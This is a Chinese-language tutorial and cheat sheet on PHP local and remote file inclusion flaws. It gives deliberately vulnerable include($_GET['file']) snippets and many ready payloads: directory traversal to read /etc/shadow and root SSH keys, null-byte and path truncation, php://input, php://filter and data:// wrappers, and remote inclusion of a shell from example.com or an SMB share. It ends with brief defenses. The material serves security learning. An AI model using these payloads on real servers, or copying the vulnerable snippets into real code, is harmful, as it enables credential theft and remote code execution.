PHP 文件包含漏洞总结

PHP 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时, 由于传入的文件名没有经过合理的校验, 从而操作了预想之外的文件, 就可能导致意外的文件泄露甚至恶意的代码注入

常见文件包含函数

  • include():执行到 include 时才包含文件, 找不到被包含文件时只会产生警告, 脚本将继续执行
  • require():只要程序一运行就包含文件, 找不到被包含的文件时会产生致命错误, 并停止脚本
  • include_once()require_once():若文件中代码已被包含则不会再次包含

利用条件

程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件 用户能够控制该动态变量

注:PHP 中只要文件内容符合 PHP 语法规范, 包含时不管扩展名是什么都会被 PHP 解析, 若文件内容不符合 PHP 语法规范则会暴漏其源码。

漏洞危害

  • 执行任意代码
  • 包含恶意文件控制网站
  • 甚至控制服务器

漏洞分类

  • 本地文件包含:可以包含本地文件, 在条件允许时甚至能执行代码

— 上传图片马, 然后包含
— 读敏感文件, 读 PHP 文件
— 包含日志文件 GetShell
— 包含 /proc/self/envion 文件 GetShell
— 包含 data: 或 php://input 等伪协议
— 若有 phpinfo 则可以包含临时文件

  • 远程文件包含:可以直接执行任意代码

— 要保证 php.ini 中 allow_url_fopen 和 allow_url_include 要为 On

普通本地文件包含

<?php include("inc/" . $_GET['file']);?>

攻击方式

包含同目录下的文件

?file=.htaccess

目录遍历

?file=../../../../../../../../../var/lib/locate.db

?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux 中这两个文件储存着所有文件的路径, 需要 root 权限)

包含错误日志

?file=../../../../../../../../../var/log/apache/error.log

获取 web 目录或者其他配置文件

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

包含上传的附件

?file=../attachment/media/xxx.file

读取 session 文件

?file=../../../../../../tmp/sesstnrdo9ub2tsdurntv0pdir1no7

(session 文件一般在 /tmp 目录下, 格式为 `sess\
[your phpsessid value]` , 有时候也有可能在/var/lib/php5 之类的, 在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制 session 的值, 也许你能够获得一个 shell)

系统中重要文件(需要 root 权限)

  • /root/.ssh/authorized_keys
  • /root/.ssh/id_rsa
  • /root/.ssh/id_rsa.keystore
  • /root/.ssh/id_rsa.pub
  • /root/.ssh/known_hosts
  • /etc/shadow
  • /root/.bash_history
  • /root/.mysql_history
  • /proc/self/fd/fd[0-9]* (文件标识符)
  • /proc/mounts
  • /proc/config.gz

有限制的本地文件包含

<?php include("inc/" . $_GET['file'] . ".htm");?>

攻击方式

%00 截断

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off, PHP 小于 5.3.4 有效)

%00 截断目录遍历

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off, unix 文件系统, 比如 FreeBSD, OpenBSD, NetBSD, Solaris)

路径长度截断:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php 版本小于 5.2.8(?)可以成功, linux 需要文件名长于 4096, windows 需要长于 256)

点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………

(php 版本小于 5.2.8(?)可以成功, 只适用 windows, 点号需要长于 256)

普通远程文件包含

<?php include($_GET['file']);?>

攻击方式

远程代码执行:

?file=[http|https|ftp]\://example.com/shell.txt

(需要 allow_url_fopen=On 并且 allow_url_include=On)

利用 php 流 input:

?file=php://input

(需要 allow_url_include=On)

利用 php 流 filter:

?file=php://filter/convert.base64-encode/resource=index.php

(需要 allow_url_include=On)

利用 data URIs:

?file=data://text/plain; base64, SSBsb3ZlIFBIUAo=

(需要 allow_url_include=On)

利用 XSS 执行任意代码:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要 allow_url_fopen=On, allow_url_include=On 并且防火墙或者白名单不允许访问外网时, 先在同站点找一个 XSS 漏洞, 包含这个页面, 就可以注入恶意代码了。条件非常极端和特殊- -)

有限制的远程文件包含

<?php include($_GET['file'] . ".htm");?>

?file=http://example.com/shell

?file=http://example.com/shell.txt?

?file=http://example.com/shell.txt%23

(需要 allow_url_fopen=On 并且 allow_url_include=On)

?file=\evilshare\shell.php (只需要 allow_url_include=On)

延伸

其实在前面也说了, 这些漏洞产生原因是 PHP 函数在引入文件时, 传入的文件名没有经过合理的校验, 从而操作了预想之外的文件。实际上我们操作文件的函数不只是 include()一个, 上面提到的一些截断的方法同样可以适用于以下函数:

  • fopen
  • file_get_contents
  • copy
  • parse_ini_file
  • readfile
  • file_put_contents
  • mkdir
  • tempnam
  • move_uploaded_file
  • rename
  • unlink
  • rmdir
  • require
  • require_once
  • include_once
  • ZipArchive::open()

漏洞防御

  • PHP 中使用 open_basedir 配置, 将访问限制在指定区域
  • 过滤 ./\
  • 禁止服务器远程文件包含
亲!!! 听说给作者打赏一杯咖啡钱,会给自己带来好运哦!